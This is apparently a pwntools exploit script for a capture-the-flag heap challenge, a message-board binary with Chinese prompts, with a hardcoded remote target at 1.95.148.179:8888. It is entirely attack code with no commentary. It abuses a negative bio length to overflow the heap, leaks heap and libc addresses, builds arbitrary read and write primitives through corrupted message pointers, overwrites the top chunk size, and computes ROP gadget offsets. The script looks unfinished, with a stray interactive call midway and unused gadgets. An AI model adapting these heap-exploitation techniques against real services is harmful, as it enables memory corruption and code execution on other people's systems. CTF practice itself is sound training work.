1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132
| from pwn import * from optparse import OptionParser
parser = OptionParser() parser.add_option("-m", "--mode", dest="mode", default="local") (options, args) = parser.parse_args()
context(os="linux",arch="amd64") context.terminal=['tmux','splitw','-h'] targetELF="./pwn" elf=ELF(targetELF,checksec=False) master_idx=16 slave_idx=6 libc=ELF("/home/k40/Pwn/Tools/glibc-all-in-one/libs/2.35-0ubuntu3.12_amd64/libc.so.6",checksec=False)
def Launch(): if options.mode=="local": io=process(targetELF) elif options.mode=="remote": io=remote("1.95.148.179",8888) elif options.mode=="debug": context.log_level="debug" io=gdb.debug(targetELF,gdbscript="source ./debug.gdb") return io
def AddUser(io,user_name_=b"root",email_=b"mamba_out@ali.com",age_=104,bio_len_=77,bio_=b"1234567890"*5): io.sendlineafter("选择功能: ",b'1'+b'\x00') io.sendlineafter("用户名: ",user_name_) io.sendlineafter("邮箱: ",email_) io.sendlineafter("年龄: ",str(age_).encode()+b'\x00') io.sendlineafter("个人简介长度: ",str(bio_len_).encode()+b'\x00') if bio_!=b"I don't want bio,just padding": io.sendlineafter("个人简介: ",bio_) io.recvuntil("[+] 用户信息创建成功")
def DeleteUser(io): io.sendlineafter("选择功能: ",b'2'+b'\x00') io.recvuntil("[+] 用户信息删除成功")
def ShowUser(io): io.sendlineafter("选择功能: ",b'3'+b'\x00') io.recvuntil("=== 显示用户信息 ===") io.recvuntil("用户名: ") user_name_=io.recvline(keepends=False) io.recvuntil("邮箱: ") email_=io.recvline(keepends=False) io.recvuntil("年龄: ") age_=io.recvline(keepends=False) io.recvuntil("个人简介: ") bio_=io.recvline(keepends=False) return user_name_,email_,age_,bio_
def AddMessage(io,title_len_,title_,content_len_,content_): io.sendlineafter("选择功能: ",b'4'+b'\x00') io.sendlineafter("留言标题长度: ",str(title_len_).encode()+b'\x00') if title_!=b"I don't want title,just padding": io.sendlineafter("留言标题: ",title_) io.sendlineafter("留言内容长度: ",str(content_len_).encode()+b'\x00') if content_!=b"I don't want content,just padding": io.sendlineafter("留言内容: ",content_)
def ShowMessage(io): io.sendlineafter("选择功能: ",b'5'+b'\x00') io.recvuntil("=== 显示留言 ===")
def EditMessage(io,idx_,new_title_=b'A'*8,new_content_=b'B'*8): io.sendlineafter("选择功能: ",b'7'+b'\x00') io.recvuntil("输入要编辑的留言编号 (1-") io.sendlineafter("): ",str(idx_).encode()+b'\x00') io.sendlineafter("输入新的标题: ",new_title_) io.sendlineafter("输入新的内容: ",new_content_) io.recvuntil("[+] 留言编辑成功")
def ArbiRead(io,target_): EditMessage(io,master_idx,new_title_=p64(target_)) ShowMessage(io) io.recvuntil("--- 留言 6 ---") io.recvuntil("标题: ") return io.recvline(keepends=False)
def ArbiWrite(io,target_,value_): EditMessage(io,master_idx,new_title_=p64(target_)) EditMessage(io,slave_idx,new_title_=value_)
def ExitPwn(io): io.sendlineafter("选择功能: ",b'0'+b'\x00') io.recvuntil("[+] 感谢使用,再见!") io.interactive()
io=Launch() AddUser(io)
for i in range(16): AddMessage(io,title_len_=0x9000,title_=b"I don't want title,just padding",content_len_=0x9000,content_=b"I don't want content,just padding") for i in range(20): AddMessage(io,title_len_=0x100,title_=b"0x100_title"+str(i+1).encode(),content_len_=0x100,content_=b"0x100_content"+str(i+1).encode())
DeleteUser(io) AddUser(io,bio_len_=0,bio_=b"I don't want bio,just padding") AddMessage(io,title_len_=0x100,title_=b'1'*16,content_len_=0x100,content_=b'2'*0x10)
for i in range(11): AddMessage(io,title_len_=0x9000,title_=b"I don't want title,just padding",content_len_=0x9000,content_=b"I don't want content,just padding") DeleteUser(io)
AddUser(io,bio_len_=-2,bio_=b'A'*0xa8+p32(0x50)+p32(0)+p64(0)*2+b'N'*0x20+b'\x68') ShowMessage(io) io.recvuntil(b'N'*0x20) heap_leak=u64(io.recv(6).ljust(8,b'\x00'))-0x20468 log.success("heap={}".format(hex(heap_leak))) io.interactive()
top_chunk=heap_leak+0x100790 ArbiWrite(io,top_chunk+8,0x871) DeleteUser(io) AddUser(io,bio_len_=0xffa0,bio_=b"A\n") libc.address=u64(ArbiRead(io,top_chunk+0x10).ljust(8,b'\x00'))-0x21ace0 log.success("libc_base={}".format(hex(libc.address)))
pop_rdi_ret=libc.address+0x2a3e5 ret_align_pad=libc.address+0x29139 ExitPwn(io)
|